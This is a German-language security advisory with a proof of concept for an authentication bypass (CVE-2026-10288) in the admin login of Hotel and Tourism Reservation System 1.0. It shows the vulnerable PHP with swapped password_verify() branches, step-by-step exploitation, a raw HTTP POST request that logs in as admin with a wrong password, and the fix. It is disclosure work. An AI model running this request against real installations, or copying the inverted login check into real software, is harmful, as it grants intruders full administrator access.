
Proof-of-concept Exploit für eine kritische Authentication-Bypass-Sicherheitslücke (CVE-2026-10288) im Hotel and Tourism Reservation System 1.0, die unauthentifizierten Remote-Admin-Zugriff durch umgekehrte password_verify()-Logik ermöglicht.
| Feld | Details |
|---|---|
| Titel | Hotel- und Tourismus-Reservierungssystem - Authentifizierungsumgehung |
| Anbieter | code-projects.org |
| Produkt | Hotel and Tourism Reservation System |
| Version | 1.0 |
| Schwachstellentyp | Unzureichende Authentifizierung |
| CWE | CWE-287 |
| CVSS-Score | 9.0 (Kritisch) |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Betroffene Datei | /admin/login.php |
| Authentifizierung erforderlich | Nein |
| Remote ausnutzbar | Ja |
Eine kritische Schwachstelle zur Authentifizierungsumgehung existiert in der Admin-Login-Funktionalität des Hotel- und Tourismus-Reservierungssystems 1.0. Die Schwachstelle wird durch eine invertierte Bedingungsprüfung des Rückgabewerts von password_verify() verursacht, die dazu führt, dass die Anwendung den Zugriff gewährt, wenn ein falsches Passwort eingegeben wird, und den Zugriff verweigert, wenn das richtige Passwort eingegeben wird. Ein nicht authentifizierter entfernter Angreifer kann vollständigen Administratorzugriff erlangen, indem er eine gültige E-Mail-Adresse und ein beliebiges falsches Passwort angibt.
Datei: admin/login.php — Zeilen 39–46
if(password_verify($password, $user['password'])){
// BUG: password_verify() returns TRUE when password is CORRECT
// but the error message is placed here instead of login logic
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
} else {
// BUG: this block executes when password is WRONG
// but login is granted here instead of showing an error
$userID = $user['id'];
login($userID);
}
password_verify() gibt true zurück, wenn das angegebene Passwort mit dem Hash übereinstimmt. Der Entwickler hat die Erfolgslogik in den else-Zweig gesetzt (der ausgeführt wird, wenn die Funktion false zurückgibt), was bedeutet, dass die Authentifizierung bei jedem falschen Passwort gewährt wird.
Ein entfernter nicht authentifizierter Angreifer kann:
Einrichtung: Installieren Sie das Hotel- und Tourismus-Reservierungssystem 1.0 auf XAMPP. Greifen Sie über http://localhost/ht/ auf die App zu.
Schritt 1: Navigieren Sie zur Admin-Login-Seite.
http:///ht/admin/login.php
Schritt 2: Geben Sie eine gültige Admin-E-Mail mit einem beliebigen falschen Passwort ein.
E-Mail: [email protected] Passwort: wrongpassword
Schritt 3: Klicken Sie auf Login.
Ergebnis: Die Anwendung umgeht die Authentifizierung und leitet zum Admin-Dashboard (index.php) um – vollständiger Admin-Zugriff mit einem falschen Passwort gewährt.
Anfrage:
POST /ht/admin/login.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
email=admin%40admin.com&password=test1234&login=Login
Antwort:
HTTP/1.1 302 Found
Location: index.php
Eine 302-Weiterleitung zu index.php bestätigt eine erfolgreiche Authentifizierung mit einem falschen Passwort.
Vertauschen Sie die Bedingungszweige, sodass der Login gewährt wird, wenn password_verify() true zurückgibt:
// FIXED
if(password_verify($password, $user['password'])){
$userID = $user['id'];
login($userID);
} else {
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
}
Imad Alvi — Unabhängiger Sicherheitsforscher